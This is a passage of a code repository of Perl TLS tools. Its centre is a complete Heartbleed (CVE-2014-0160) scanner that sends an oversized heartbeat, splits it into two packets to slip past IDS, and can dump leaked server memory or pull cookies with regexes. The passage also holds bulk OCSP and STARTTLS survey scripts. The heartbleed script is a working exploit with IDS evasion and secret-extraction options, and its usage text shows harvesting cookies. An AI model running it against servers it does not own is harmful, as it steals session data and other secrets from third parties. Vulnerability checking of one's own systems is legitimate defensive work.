 ) or die \"tcp connect: $!\";\n    print $cl \"CONNECT $ioargs->{PeerAddr}:$ioargs->{PeerPort} HTTP/1.0\\r\\n\\r\\n\";\n    my $hdr = _readlines($cl,qr/\\r?\\n/);\n    $hdr =~m{\\A(HTTP/1\\.[01]\\s+(\\d\\d\\d)[^\\r\\n]*)};\n    die \"CONNECT failed: $1\" if $2 != 200;\n    VERBOSE(3,\"...connect request: $1\");\n    return $cl;\n}\n\nsub http_upgrade {\n    my ($ioargs,$arg) = @_;\n    my $hostname = $ioargs->{PeerAddr};\n    my $cl = $ioclass->new(%$ioargs) or die \"tcp connect: $!\";\n    my $rq;\n    if ( $arg && $arg =~m{^get(?:=(\\S+))?}i ) {\n\tmy $path = $1 || '/';\n\t$rq = \"GET $path HTTP/1.1\\r\\n\".\n\t    \"Host: $hostname\\r\\n\".\n\t    \"Upgrade: TLS/1.0\\r\\n\".\n\t    \"Connection: Upgrade\\r\\n\".\n\t    \"\\r\\n\";\n    } else {\n\tmy $path = $arg && $arg =~m{^options=(\\S+)}i\n\t    ? $1:'*';\n\t$rq = \"OPTIONS $path HTTP/1.1\\r\\n\".\n\t    \"Host: $hostname\\r\\n\".\n\t    \"Upgrade: TLS/1.0\\r\\n\".\n\t    \"Connection: Upgrade\\r\\n\".\n\t    \"\\r\\n\";\n    }\n    print $cl $rq;\n    my $hdr = _readlines($cl,qr/\\r?\\n/);\n    $hdr =~m{\\A(HTTP/1\\.[01]\\s+(\\d\\d\\d)[^\\r\\n]*)};\n    die \"upgrade not accepted, code=$2 (expect 101): $1\" if $2 != 101;\n    VERBOSE(3,\"...tls upgrade request: $1\");\n    return $cl;\n}\n\nsub ftp_auth {\n    my $cl = $ioclass->new(%{shift()}) or die \"tcp connect: $!\";\n    my $last_status_line = qr/((\\d)\\d\\d(?:\\s.*)?)/;\n    my ($line,$code) = _readlines($cl,$last_status_line);\n    die \"server denies access: $line\\n\" if $code != 2;\n    print $cl \"AUTH TLS\\r\\n\";\n    ($line,$code) = _readlines($cl,$last_status_line);\n    die \"AUTH TLS denied: $line\\n\" if $code != 2;\n    VERBOSE(3,\"...ftp auth: $line\");\n    return $cl;\n}\n\nsub postgresql_init {\n    my $cl = $ioclass->new(%{shift()}) or die \"tcp connect: $!\";\n    # magic header to initiate SSL:\n    # http://www.postgresql.org/docs/devel/static/protocol-message-formats.html\n    print $cl pack(\"NN\",8,80877103);\n    read($cl, my $buf,1 ) or die \"did not get response from postgresql\";\n    $buf eq 'S' or die \"postgresql does not support SSL (response=$buf)\";\n    VERBOSE(3,\"...postgresql supports SSL: $buf\");\n    return $cl;\n}\n\nsub _readlines {\n    my ($cl,$stoprx) = @_;\n    my $buf = '';\n    while (<$cl>) {\n\t$buf .= $_;\n\treturn $buf if ! $stoprx;\n\tnext if ! m{\\A$stoprx\\Z};\n\treturn ( m{\\A$stoprx\\Z},$buf );\n    }\n    die \"eof\" if $buf eq '';\n    die \"unexpected response: $buf\";\n}\n\nsub _addr2ip {\n    my ($addr,$family) = @_;\n    if ($family == AF_INET) {\n\t(undef,$addr) = unpack_sockaddr_in($addr);\n\treturn inet_ntoa($addr);\n    } elsif (!$can_ipv6) {\n\treturn ();\n    } else {\n\t(undef,$addr) = unpack_sockaddr_in6($addr);\n\treturn inet_ntop(AF_INET6(),$addr);\n    }\n}\n\nsub _startssl {\n    select(undef,undef,undef,$sleep) if $sleep;\n    #VERBOSE(4,\"start_SSL(@_)\");\n    IO::Socket::SSL->start_SSL(@_)\n}\n\n\nsub VERBOSE {\n    my $level = shift;\n    $verbose>=$level || return;\n    my $msg = shift;\n    $msg = sprintf($msg,@_) if @_;\n    my $prefix = $level == 1 ? '+ ' : $level == 2 ? '* ' : \"<$level> \";\n    print STDERR \"$prefix$msg\\n\";\n}\n"
  },
  {
    "path": "check-ssl-heartbleed.pl",
    "content": "#!/usr/bin/perl\n# Copyright: Steffen Ullrich 2014\n# Public Domain: feel free to use, copy, modify without restrictions - NO WARRANTY\n\nuse strict;\nuse warnings;\nuse Getopt::Long qw(:config posix_default bundling);\n\n# try to use IPv6\nmy $INETCLASS;\nBEGIN {\n    my @mod = qw(IO::Socket::IP IO::Socket::INET6 IO::Socket::INET);\n    while ($INETCLASS = shift @mod) {\n\tlast if eval \"require $INETCLASS\";\n\tdie \"failed to load $INETCLASS: $@\" if ! @mod;\n    }\n}\n\nmy $starttls = sub {1};\nmy $starttls_arg;\nmy $timeout = 5;\nmy $quiet = 0;\nmy $show = 0;\nmy $show_ascii = 0;\nmy $ssl_version = 'auto';\nmy @show_regex;\nmy $heartbeats = 1;\nmy $show_cert;\nmy $sni_hostname;\nmy %starttls = (\n    'smtp' => [ 25, \\&smtp_starttls ],\n    'http_proxy' => [ 8000, \\&http_connect ],\n    'http_upgrade' => [ 80, \\&http_upgrade ],\n    'imap' => [ 143, \\&imap_starttls ],\n    'pop'  => [ 110, \\&pop_stls ],\n    'ftp'  => [ 21, \\&ftp_auth ],\n    'postgresql'  => [ 5432, \\&postgresql_init ],\n);\n\nsub usage {\n    print STDERR \"ERROR: @_\\n\" if @_;\n    print STDERR <<USAGE;\n\nCheck if server is vulnerable against heartbleed SSL attack (CVE-2014-0160)\nFeatures:\n- can start with plain and upgrade with STARTTLS or similar commands with\n  IMAP, POP, SMTP, FTP, HTTP and HTTP proxies, PostgreSQL\n- heartbeat request is sent in two packets to circumvent simple packet\n  matching IDS or packet filters\n- handshake is done with TLS1.0 for better compatibility, heartbeat uses\n  SSL version from server\n- can use regular expressions to directly extract information from\n  vulnerable sites\n- can use IPv6\n\nUsage: $0 [ --starttls proto[:arg] ] [ --timeout T ] host:port\n  -h|--help                - this screen\n  --starttls proto[:arg]   - start plain and upgrade to SSL with starttls protocol\n\t\t\t     (imap,smtp,http_upgrade,http_proxy,pop,ftp,postgresql)\n  -q|--quiet               - don't show anything, exit 1 if vulnerable\n  -c|--show-cert           - show some information about certificate\n  -s|--show-data [L]       - show heartbeat response if vulnerable, optional\n\t\t\t     parameter L specifies number of bytes per line (16)\n  -a|--show-ascii [L]      - show heartbeat response ascii only if vulnerable, optional\n\t\t\t     parameter L specifies number of bytes per line (80)\n  -R|--show-regex-match R  - show data matching perl regex R. Option can be\n\t\t\t     used multiple times\n  --ssl_version V          - specify SSL version to use, e.g. ssl3, tlsv1,\n\t\t\t     tlsv1_1, tlsv1_2 or auto (default), which tries\n\t\t\t     until it gets a server hello back\n  --sni-hostname H         - specifiy hostname for SNI, set to '' to disable SNI\n\t\t\t     will try with target host of not given\n  -H|--heartbeats N        - number of heartbeats (default 1)\n  -T|--timeout T           - use timeout (default 5)\n\nExamples:\n  # check direct www, imaps .. server\n  $0 www.google.com:443\n  $0 www.google.com:https\n  $0 mail.google.com:imaps\n\n  # try to get Cookies\n  $0 -R 'Cookie:.*' www.broken-site.com:443\n\n  # check webserver via proxy\n  $0 --starttls http_proxy:www.google.com:443 proxy:8000\n\n  # check webserver with http upgrade (OPTIONS *...)\n  $0 --starttls http_upgrade 127.0.0.1:631\n\n  # check webserver with http upgrade (GET /..)\n  $0 --starttls http_upgrade:get=/ 127.0.0.1:631\n\n  # check imap server, start with plain and upgrade\n  $0 --starttls imap imap.gmx.net:143\n\n  # check pop server, start with plain and upgrade\n  $0 --starttls pop pop.gmx.net:110\n\n  # check smtp server, start with plain and upgrade\n  $0 --starttls smtp smtp.gmail.com:587\n\n\nUSAGE\n    exit(2);\n}\n\nmy $default_port = 443;\nGetOptions(\n    'h|help' => sub { usage() },\n    'T|timeout=i' => \\$timeout,\n    's|show-data:i' => sub { $show = $_[1] || 16 },\n    'a|show-ascii:i' => sub { $show_ascii = $_[1] || 80 },\n    'R|show-regex-match:s' => \\@show_regex,\n    'c|show-cert' => \\$show_cert,\n    'q|quiet' => \\$quiet,\n    'sni-hostname:s' => \\$sni_hostname,\n    'H|heartbeats=i' => \\$heartbeats,\n    'starttls=s' => sub {\n\t(my $proto,$starttls_arg) = $_[1] =~m{^(\\w+)(?::(.*))?$};\n\tmy $st = $proto && $starttls{$proto};\n\tusage(\"invalid starttls protocol $_[1]\") if ! $st;\n\t($default_port,$starttls) = @$st;\n    },\n    'ssl_version=s' => \\$ssl_version,\n);\n\n# use Net::SSLeay to print certificate information\n# need version >= 1.46 for d2i_x509_bio\nmy $load_netssleay = sub {\n    return 1 if eval { require Net::SSLeay } && $Net::SSLeay::VERSION >= 1.46;\n    return if shift; # try w/o error\n    die \"need Net::SSLeay >= 1.46 to show certificate information\";\n};\n$load_netssleay->(0) if $show_cert;\n\n# try to do show_cert by default if not quiet, but don't complain if we\n# cannot do it because we have no Net::SSLeay\n$show_cert ||= ! $quiet && $load_netssleay->(1) && -1;\n\n$ssl_version =\n    lc($ssl_version) eq 'ssl3' ? 0x0300 :\n    $ssl_version =~ m{^tlsv?1(?:_([12]))?}i ? 0x0301 + ($1||0) :\n    0; # try possible versions\n\nmy $show_regex;\nif (@show_regex) {\n    my @rx;\n    push @rx, eval { qr{$_} } || die \"invalid perl regex '$_'\"\n\tfor(@show_regex);\n    $show_regex = join('|',@rx);\n    $show_regex = eval { qr{$show_regex} } || die \"invalid regex: $show_regex\";\n}\n\nmy $dst = shift(@ARGV) or usage(\"no destination given\");\n$dst .= \":$default_port\" if $dst !~ m{^([^:]+|.+\\]):\\w+$};\n( my $hostname = $dst ) =~s{:\\w+$}{};\n$hostname = $1 if $hostname =~m{^\\[(.*)\\]$};\n\nif ( ! defined $sni_hostname ) {\n    $sni_hostname = $hostname;\n    $sni_hostname = '' if $sni_hostname =~m{:|^[\\d\\.]+$};  # IP6/IP4\n}\n\nmy $connect = sub {\n    my ($ssl_version,$sni,$ciphers) = @_;\n\n    my $cl = $INETCLASS->new(\n\tref($dst) ? ( PeerAddr => $dst->[0], PeerPort => $dst->[1] )\n\t    : ( PeerAddr => $dst ),\n\tTimeout => $timeout\n    ) or die \"failed to connect: $!\";\n    # save dst to not resolve name every connect attempt\n    $dst = [ $cl->peerhost, $cl->peerport ] if ! ref($dst);\n\n    # disable NAGLE to send heartbeat with multiple small packets\n    setsockopt($cl,6,1,pack(\"l\",1));\n    # skip plaintext before starting SSL handshake\n    $starttls->($cl,$hostname);\n\n    # extensions\n    my $ext = '';\n    if ( defined $sni and $sni ne '' ) {\n\t$ext .= pack('nn/a*', 0x00,   # server_name extension + length\n\t    pack('n/a*',              # server_name list length\n\t\tpack('Cn/a*',0,$sni)  # type host_name(0) + length/server_name\n\t));\n    }\n\n    # built and send ssl client hello\n    my $hello_data = pack(\"nNn14Cn/a*C/a*n/a*\",\n\t$ssl_version,\n\ttime(),\n\t( map { rand(0x10000) } (1..14)),\n\t0, # session-id length\n\tpack(\"C*\",@$ciphers),\n\t\"\\0\", # compression null\n\t$ext,\n    );\n\n    $hello_data = substr(pack(\"N/a*\",$hello_data),1); # 3byte length\n    print $cl pack(\n\t\"Cnn/a*\",0x16,$ssl_version,  # type handshake, version, length\n\tpack(\"Ca*\",1,$hello_data),   # type client hello, data\n    );\n\n    my $use_version;\n    my $got_server_hello;\n    my $err;\n    while (1) {\n\tmy ($type,$ver,@msg) = _readframe($cl,\\$err) or return;\n\n\t# first message must be server hello\n\t$got_server_hello ||= $type == 22 and grep { $_->[0] == 2 } @msg;\n\treturn if ! $got_server_hello;\n\n\t# wait for server hello done\n\tif ( $type == 22 and grep { $_->[0] == 0x0e } @msg ) {\n\t    # server hello done\n\t    $use_version = $ver;\n\t    last;\n\t}\n    }\n\n    return ($cl,$use_version);\n};\n\n# these are the ciphers we try\n# that's all openssl -V ciphers reports with my openssl1.0.1\nmy @ssl3_ciphers = (\n    0xC0,0x14,  0xC0,0x0A,  0xC0,0x22,  0xC0,0x21,  0x00,0x39,  0x00,0x38,\n    0x00,0x88,  0x00,0x87,  0xC0,0x0F,  0xC0,0x05,  0x00,0x35,  0x00,0x84,\n    0x00,0x8D,  0xC0,0x12,  0xC0,0x08,  0xC0,0x1C,  0xC0,0x1B,  0x00,0x16,\n    0x00,0x13,  0xC0,0x0D,  0xC0,0x03,  0x00,0x0A,  0x00,0x8B,  0xC0,0x13,\n    0xC0,0x09,  0xC0,0x1F,  0xC0,0x1E,  0x00,0x33,  0x00,0x32,  0x00,0x9A,\n    0x00,0x99,  0x00,0x45,  0x00,0x44,  0xC0,0x0E,  0xC0,0x04,  0x00,0x2F,\n    0x00,0x96,  0x00,0x41,  0x00,0x8C,  0xC0,0x11,  0xC0,0x07,  0xC0,0x0C,\n    0xC0,0x02,  0x00,0x05,  0x00,0x04,  0x00,0x8A,  0x00,0x15,  0x00,0x12,\n    0x00,0x09,  0x00,0x14,  0x00,0x11,  0x00,0x08,  0x00,0x06,  0x00,0x03,\n);\nmy @tls12_ciphers = (\n    0xC0,0x30,  0xC0,0x2C,  0xC0,0x28,  0xC0,0x24,  0x00,0xA3,  0x00,0x9F,\n    0x00,0x6B,  0x00,0x6A,  0xC0,0x32,  0xC0,0x2E,  0xC0,0x2A,  0xC0,0x26,\n    0x00,0x9D,  0x00,0x3D,  0xC0,0x2F,  0xC0,0x2B,  0xC0,0x27,  0xC0,0x23,\n    0x00,0xA2,  0x00,0x9E,  0x00,0x67,  0x00,0x40,  0xC0,0x31,  0xC0,0x2D,\n    0xC0,0x29,  0xC0,0x25,  0x00,0x9C,  0x00,0x3C,\n);\n\n\n# try to connect and do ssl handshake either with the specified version or with\n# different versions (downgrade). Some servers just close if you start with\n# TLSv1.2 instead of replying with a lesser version\nmy ($cl,$use_version);\nfor my $ver ( $ssl_version ? $ssl_version : ( 0x303, 0x302, 0x301, 0x300 )) {\n    my @ciphers = (( $ver == 0x303 ? @tls12_ciphers : ()), @ssl3_ciphers );\n    if ( $sni_hostname ) {\n\tverbose(\"...try to connect with version 0x%x with SNI\",$ver);\n\t($cl,$use_version) = $connect->( $ver, $sni_hostname, \\@ciphers ) and last;\n    }\n    verbose(\"...try to connect with version 0x%x w/o SNI\",$ver);\n    ($cl,$use_version) = $connect->( $ver, $sni_hostname, \\@ciphers ) and last;\n}\n\n# TODO: if everything fails we might have a F5 in front which cannot deal\n# with large client hellos.\ndie \"Failed to make a successful TLS handshake with peer.\\n\".\n    \"Either peer does not talk SSL or sits behind some stupid SSL middlebox.\"\n    if ! $cl;\n\n# heartbeat request with wrong size\n# send in two packets to work around stupid IDS which try\n# to detect attack by matching packets only\nmy $hb = pack(\"Cnn/a*\",0x18,$use_version,\n    pack(\"Cn\",1,0x4000));\n\nfor (1..$heartbeats) {\n    verbose(\"...send heartbeat#$_\");\n    print $cl substr($hb,0,1);\n    print $cl substr($hb,1);\n}\n\nmy $err;\nif ( my ($type,$ver,$buf) = _readframe($cl,\\$err,1)) {\n    if ( $type == 21 ) {\n\tverbose(\"received alert (probably not vulnerable)\");\n    } elsif ( $type != 24 ) {\n\tverbose(\"unexpected reply type $type\");\n    } elsif ( length($buf)>3 ) {\n\tverbose(\"BAD! got \".length($buf).\" bytes back instead of 3 (vulnerable)\");\n\tshow_data($buf,$show) if $show;\n\tshow_ascii($buf,$show_ascii) if $show_ascii;\n\tif ( $show_regex ) {\n\t    while ( $buf =~m{($show_regex)}g ) {\n\t\tprint STDERR $1.\"\\n\";\n\t    }\n\t}\n\texit 1;\n    } else {\n\tverbose(\"GOOD proper heartbeat reply (not vulnerable)\");\n    }\n} else {\n    verbose(\"no reply($err) - probably not vulnerable\");\n}\n\nsub _readframe {\n    my ($cl,$rerr,$errok) = @_;\n    my $len = 5;\n    my $buf = '';\n    vec( my $rin = '',fileno($cl),1 ) = 1;\n    while ( length($buf)<$len ) {\n\tif ( ! select( my $rout = $rin,undef,undef,$timeout )) {\n\t    $$rerr = 'timeout';\n\t    last if $errok;\n\t    return;\n\t};\n\tif ( ! sysread($cl,$buf,$len-length($buf),length($buf))) {\n\t    $$rerr = \"eof\";\n\t    $$rerr .= \" after \".length($buf).\" bytes\" if $buf ne '';\n\t    last if $errok;\n\t    return;\n\t}\n\t$len = unpack(\"x3n\",$buf) + 5 if length($buf) == 5;\n    }\n    return if length($buf)<5;\n    (my $type, my $ver) = unpack(\"Cnn\",substr($buf,0,5,''));\n    my @msg;\n    if ( $type == 22 ) {\n\twhile ( length($buf)>=4 ) {\n\t    my ($ht,$len) = unpack(\"Ca3\",substr($buf,0,4,''));\n\t    $len = unpack(\"N\",\"\\0$len\");\n\t    push @msg,[ $ht,substr($buf,0,$len,'') ];\n\t    verbose(\"...ssl received type=%d ver=0x%x ht=0x%x size=%d\",\n\t\t$type,$ver,$ht,length($msg[-1][1]));\n\t    if ( $show_cert && $ht == 11 ) {\n\t\tmy $clen = unpack(\"N\",\"\\0\".substr($msg[-1][1],0,3));\n\t\tmy $certs = substr($msg[-1][1],3,$clen);\n\t\tmy $i = 0;\n\t\twhile ($certs ne '') {\n\t\t    my $clen = unpack(\"N\",\"\\0\".substr($certs,0,3,''));\n\t\t    my $cert = substr($certs,0,$clen,'');\n\t\t    length($cert) == $clen or\n\t\t\tdie \"invalid certificate length ($clen vs. \".length($cert).\")\";\n\t\t    if ( my $line = eval { cert2line($cert) } ) {\n\t\t\tprintf \"[%d] %s\\n\",$i, $line;\n\t\t    } elsif ( $show_cert>0 ) {\n\t\t\tdie \"failed to convert cert to string: $@\";\n\t\t    }\n\t\t    $i++;\n\t\t}\n\t    }\n\t}\n    } else {\n\t@msg = $buf;\n\tverbose(\"...ssl received type=%d ver=%x size=%d\",\n\t    $type,$ver,length($buf));\n    }\n\n    return ($type,$ver,@msg);\n}\n\nsub smtp_starttls {\n    my $cl = shift;\n    my $last_status_line = qr/((\\d)\\d\\d(?:\\s.*)?)/;\n    my ($line,$code) = _readlines($cl,$last_status_line);\n    $code == 2 or die \"server denies access: $line\\n\";\n    print $cl \"EHLO example.com\\r\\n\";\n    ($line,$code) = _readlines($cl,$last_status_line);\n    $code == 2 or die \"server did not accept EHLO: $line\\n\";\n    print $cl \"STARTTLS\\r\\n\";\n    ($line,$code) = _readlines($cl,$last_status_line);\n    $code == 2 or die \"server did not accept STARTTLS: $line\\n\";\n    verbose(\"...reply to starttls: $line\");\n    return 1;\n}\n\nsub imap_starttls {\n    my $cl = shift;\n    <$cl>; # welcome\n    print $cl \"abc STARTTLS\\r\\n\";\n    while (<$cl>) {\n\tm{^abc (OK)?} or next;\n\t$1 or die \"STARTTLS failed: $_\";\n\ts{\\r?\\n$}{};\n\tverbose(\"...starttls: $_\");\n\treturn 1;\n    }\n    die \"starttls failed\";\n}\n\nsub pop_stls {\n    my $cl = shift;\n    <$cl>; # welcome\n    print $cl \"STLS\\r\\n\";\n    my $reply = <$cl>;\n    die \"STLS failed: $reply\" if $reply !~m{^\\+OK};\n    $reply =~s{\\r?\\n}{};\n    verbose(\"...stls $reply\");\n    return 1;\n}\n\nsub http_connect {\n    my $cl = shift;\n    $starttls_arg or die \"no target host:port given\";\n    print $cl \"CONNECT $starttls_arg HTTP/1.0\\r\\n\\r\\n\";\n    my $hdr = _readlines($cl,qr/\\r?\\n/);\n    $hdr =~m{\\A(HTTP/1\\.[01]\\s+(\\d\\d\\d)[^\\r\\n]*)};\n    die \"CONNECT failed: $1\" if $2 != 200;\n    verbose(\"...connect request: $1\");\n    return 1;\n}\n\nsub http_upgrade {\n    my ($cl,$hostname) = @_;\n    my $rq;\n    if ( $starttls_arg && $starttls_arg =~m{^get(?:=(\\S+))?}i ) {\n\tmy $path = $1 || '/';\n\t$rq = \"GET $path HTTP/1.1\\r\\n\".\n\t    \"Host: $hostname\\r\\n\".\n\t    \"Upgrade: TLS/1.0\\r\\n\".\n\t    \"Connection: Upgrade\\r\\n\".\n\t    \"\\r\\n\";\n    } else {\n\tmy $path = $starttls_arg && $starttls_arg =~m{^options=(\\S+)}i\n\t    ? $1:'*';\n\t$rq = \"OPTIONS $path HTTP/1.1\\r\\n\".\n\t    \"Host: $hostname\\r\\n\".\n\t    \"Upgrade: TLS/1.0\\r\\n\".\n\t    \"Connection: Upgrade\\r\\n\".\n\t    \"\\r\\n\";\n    }\n    print $cl $rq;\n    my $hdr = _readlines($cl,qr/\\r?\\n/);\n    $hdr =~m{\\A(HTTP/1\\.[01]\\s+(\\d\\d\\d)[^\\r\\n]*)};\n    die \"upgrade not accepted, code=$2 (expect 101): $1\" if $2 != 101;\n    verbose(\"...tls upgrade request: $1\");\n    return 1;\n}\n\nsub ftp_auth {\n    my $cl = shift;\n    my $last_status_line = qr/((\\d)\\d\\d(?:\\s.*)?)/;\n    my ($line,$code) = _readlines($cl,$last_status_line);\n    die \"server denies access: $line\\n\" if $code != 2;\n    print $cl \"AUTH TLS\\r\\n\";\n    ($line,$code) = _readlines($cl,$last_status_line);\n    die \"AUTH TLS denied: $line\\n\" if $code != 2;\n    verbose(\"...ftp auth: $line\");\n    return 1;\n}\n\nsub postgresql_init {\n    my $cl = shift;\n    # magic header to initiate SSL:\n    # http://www.postgresql.org/docs/devel/static/protocol-message-formats.html\n    print $cl pack(\"NN\",8,80877103);\n    read($cl, my $buf,1 ) or die \"did not get response from postgresql\";\n    $buf eq 'S' or die \"postgresql does not support SSL (response=$buf)\";\n    verbose(\"...postgresql supports SSL: $buf\");\n    return 1;\n}\n\nsub verbose {\n    return if $quiet;\n    my $msg = shift;\n    $msg = sprintf($msg,@_) if @_;\n    print STDERR $msg,\"\\n\";\n}\n\nsub show_data {\n    my ($data,$len) = @_;\n    my $lastd = '';\n    my $repeat = 0;\n    while ( $data ne '' ) {\n\tmy $d = substr($data,0,$len,'' );\n\t$repeat++,next if $d eq $lastd;\n\t$lastd = $d;\n\tif ( $repeat ) {\n\t    print STDERR \"... repeated $repeat times ...\\n\";\n\t    $repeat = 0;\n\t}\n\t( my $h = unpack(\"H*\",$d)) =~s{(..)}{$1 }g;\n\t( my $c = $d ) =~s{[\\x00-\\x20\\x7f-\\xff]}{.}g;\n\tmy $hl = $len*3;\n\tprintf STDERR \"%-${hl}s  %-${len}s\\n\",$h,$c;\n    }\n    print STDERR \"... repeated $repeat times ...\\n\" if $repeat;\n}\n\nsub show_ascii {\n    my ($data,$len) = @_;\n    my $lastd = '';\n    my $repeat = 0;\n    while ( $data ne '' ) {\n\tmy $d = substr($data,0,$len,'' );\n\t$repeat++,next if $d eq $lastd;\n\t$lastd = $d;\n\tif ( $repeat ) {\n\t    print STDERR \"... repeated $repeat times ...\\n\";\n\t    $repeat = 0;\n\t}\n\t( my $c = $d ) =~s{[\\x00-\\x20\\x7f-\\xff]}{.}g;\n\tprintf STDERR \"%-${len}s\\n\",$c;\n    }\n    print STDERR \"... repeated $repeat times ...\\n\" if $repeat;\n}\n\nsub cert2line {\n    my $der = shift;\n    my $bio = Net::SSLeay::BIO_new( Net::SSLeay::BIO_s_mem());\n    Net::SSLeay::BIO_write($bio,$der);\n    my $cert = Net::SSLeay::d2i_X509_bio($bio);\n    Net::SSLeay::BIO_free($bio);\n    $cert or die \"cannot parse certificate: \".\n\tNet::SSLeay::ERR_error_string(Net::SSLeay::ERR_get_error());\n    my $not_before = Net::SSLeay::X509_get_notBefore($cert);\n    my $not_after = Net::SSLeay::X509_get_notAfter($cert);\n    $_ = Net::SSLeay::P_ASN1_TIME_put2string($_) for($not_before,$not_after);\n    my $subject = Net::SSLeay::X509_NAME_oneline(\n\tNet::SSLeay::X509_get_subject_name($cert));\n    return \"$subject | $not_before - $not_after\";\n}\n\nsub _readlines {\n    my ($cl,$stoprx) = @_;\n    my $buf = '';\n    while (<$cl>) {\n\t$buf .= $_;\n\treturn $buf if ! $stoprx;\n\tnext if ! m{\\A$stoprx\\Z};\n\treturn ( m{\\A$stoprx\\Z},$buf );\n    }\n    die \"eof\" if $buf eq '';\n    die \"unexpected response: $buf\";\n}\n"
  },
  {
    "path": "https_ocsp_bulk.pl",
    "content": "#!/usr/bin/perl\n# Copyright 2014 Steffen Ullrich <sullr@cpan.org>\n#   This program is free software; you can redistribute it and/or\n#   modify it under the same terms as Perl itself.\n#\n# checks lots of https sites for OCSP problems\n# USAGE: https_ocsp_bulk  < list-of-sites.txt\n\nuse strict;\nuse warnings;\nuse IO::Socket::SSL 1.984;\nuse IO::Socket::SSL::Utils;\n\n# use a common OCSP cache for all\nmy $ocsp_cache = IO::Socket::SSL::OCSP_Cache->new(1000);\n\n# load sites from file/stdin\n# for top alexa sites see http://s3.amazonaws.com/alexa-static/top-1m.csv.zip\nwhile ( my $dst = <>) {\n\n    # the domain can be somewhere on the line\n    $dst = $dst =~m{\\b([\\w\\-]+(\\.[\\w\\-]+)+)\\b} && $1 || do {\n\twarn \"SKIP: no domain found in line: $dst\";\n\tnext;\n    };\n\n    # if the name is google.com try first www.google.com and if this \n    # fails google.com\n    my @dst = ($dst);\n    unshift @dst,\"www.$dst\" if $dst !~m{^www\\.};\n    my $cl;\n    while (@dst && !$cl) {\n\t$dst = shift(@dst);\n\t$cl = IO::Socket::INET->new(\n\t    PeerHost => $dst,\n\t    PeerPort => 443,\n\t    Timeout => 5\n\t);\n    }\n    if (!$cl) {\n\twarn \"SKIP: no connect to $dst\\n\";\n\tnext;\n    }\n\n\n    warn \"DEBUG: trying SSL upgrade on $dst\\n\";\n    if ( IO::Socket::SSL->start_SSL($cl,\n\tSSL_hostname => $dst,\n\tSSL_verifycn_scheme => 'none', # will check later\n\tSSL_ocsp_mode => SSL_OCSP_FULL_CHAIN,\n\tSSL_ocsp_cache => $ocsp_cache,\n    )) {\n\tmy $result = $cl->get_sslversion.\"/\".$cl->get_cipher;\n\tmy $cert = $cl->peer_certificate;\n\tif (my $pkey = Net::SSLeay::X509_get_pubkey($cert)) {\n\t    my $bits = eval { Net::SSLeay::EVP_PKEY_bits($pkey) };\n\t    $result .= \"/$bits\" if $bits;\n\t    Net::SSLeay::EVP_PKEY_free($pkey);\n\t}\n\n\t$result .= \" (ocsp:stapled)\" if ${*$cl}{_SSL_ocsp_verify};\n\tmy $status;\n\tif ( IO::Socket::SSL::verify_hostname_of_cert($dst,$cert,'www')) {\n\t    $status = 'ok';\n\t} else {\n\t    $status = 'badname';\n\t    $result .= \" (cn:\".CERT_asHash($cert)->{subject}{commonName}.\")\";\n\t}\n\tmy $r = $cl->ocsp_resolver;\n\tmy %q = $r->requests;\n\twarn \"DEBUG: $dst need \".keys(%q).\" OCSP requests\"\n\t    .\" chain_size=\".(0+$cl->peer_certificates)\n\t    .\" URI=\".  join(\",\",keys %q).\"\\n\" \n\t    if %q;\n\tif (my $err = $r->resolve_blocking(timeout => 5)) {\n\t    $status = 'badocsp';\n\t    $result .= \" (ocsp_err:$err)\"\n\t}\n\tif ( my $s = $r->soft_error ) {\n\t    $result .= \" (ocsp_softerr: $s)\";\n\t}\n\twarn \"RESULT($dst) ssl-$status $result\\n\";\n    } else {\n\twarn \"RESULT($dst) nossl \".($SSL_ERROR||$!).\"\\n\";\n    }\n}\n\n"
  },
  {
    "path": "mx_starttls_bulk-summarize.pl",
    "content": "#!/usr/bin/perl\n# Copyright 2014 Steffen Ullrich <sullr@cpan.org>\n#   This program is free software; you can redistribute it and/or\n#   modify it under the same terms as Perl itself.\n#\n# Usage: program < output_from_mx_starttls_bulk\n\n\nuse strict;\nuse warnings;\n\nmy %stat;\nwhile (<>) {\n    chop;\n    my ($dom,$result,$info) = split(' ',$_,3);\n    my @info = $info ? $info =~m{([+-]tls:.*?)(?=$|;[+-]tls:)}g :();\n    $stat{total}++;\n    if (!@info) {\n\t$stat{'notls.total'}++;\n\tif ($result =~m{^-nomx}) {\n\t    $stat{'total.nomx'}++\n\t} elsif ($result =~m{^-no-starttls}) {\n\t    $stat{'total.no-starttls'}++\n\t} else {\n\t    $stat{'total.notls'}++\n\t}\n    } else {\n\t$stat{'total.tls'}++;\n\tif ($result =~m{^-(?!tls)}) {\n\t    for(@info) {\n\t\tm{^\\+(.*)} or next;\n\t\t$result = $1;\n\t\tlast;\n\t    }\n\t}\n\tif ( my ($hv,$v,$c) = $result =~m{^tls:([^\\s:]+):([^/]+)/([^/]+)}) {\n\t    if ($hv eq 'SSLv23') {\n\t\t$stat{'tls.initial'}++;\n\t    } else {\n\t\t$stat{'tls.downgrade'}++;\n\t    }\n\t    $stat{\"tls.$v\"}++;\n\t    $stat{\"tls.$c\"}++;\n\t    $stat{\"tls.$1\"}++ if $c =~m{^((EC)?DHE)-};\n\t    $stat{\"tls.$1\"}++ if $c =~m{(RC4)-};\n\t} elsif ( $result =~m{^-tls}) {\n\t    $stat{'tls.fail'}++;\n\t}\n\n\tfor(@info) {\n\t    $stat{\"tls.fail.$1\"}++ if m{^-tls:([\\w\\-]+)};\n\t}\n\n    }\n}\n\nprint process();\n\n\nsub process {\n    my $total = $stat{total};\n    my $tls_total = $stat{'total.tls'};\n    my $percent = sub {\t\n\tmy ($v,$t) = @_;\n\treturn '-' if !$t;\n\treturn 0 if !$v;\n\tmy $p = 100*$v/$t;\n\tmy $f = 10 ** (2-int(log($p)/log(10)));\n\treturn int($p*$f+0.5)/$f;\n    };\n    for( keys %stat) {\n\tif (m{^total\\.}) {\n\t    $stat{\"$_.percent\"} = $percent->($stat{$_},$total);\n\t} elsif (m{^tls\\.}) {\n\t    $stat{\"$_.percent\"} = $percent->($stat{$_},$tls_total);\n\t}\n    }\n\n    my $t = template();\n    $t =~s{%{(?:([\\w\\.]+):)?([\\w\\-\\.]+)}}{ sprintf( $1?\"%\".$1:\"%s\",$stat{$2}||0) }esg;\n    $t;\n}\n\nsub template { return <<'TEMPLATE'; }\nTotal domains: %{total}\nNo MX record:             %{10d:total.nomx} (%{total.nomx.percent}%)\nNo STARTTLS:              %{10d:total.no-starttls} (%{total.no-starttls.percent}%)\nTLS available:            %{10d:total.tls} (%{total.tls.percent}%)\n\n--- TLS analysis (relativ to TLS domains) ---\n\nTLS initial success:      %{10d:tls.initial} 